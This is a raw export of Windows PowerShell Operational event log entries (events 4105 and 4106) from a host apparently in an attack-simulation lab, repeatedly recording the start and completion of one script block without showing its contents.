User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467591
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467590
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467589
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467588
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467587
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467586
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467585
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467584
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467583
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467582
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467581
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467580
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467579
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467578
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467577
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467576
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467575
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467838
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467837
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467836
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467835
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467834
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467833
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467832
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467831
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467830
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467829
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467828
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467827
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467826
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467825
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467824
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467823
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467822
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467821
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467820
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467819
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467818
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467817
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467816
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467815
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467814
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467813
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467812
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467811
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467810
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467809
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467808
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467807
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467806
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467805
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467804
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467803
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467802
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467801
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467800
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
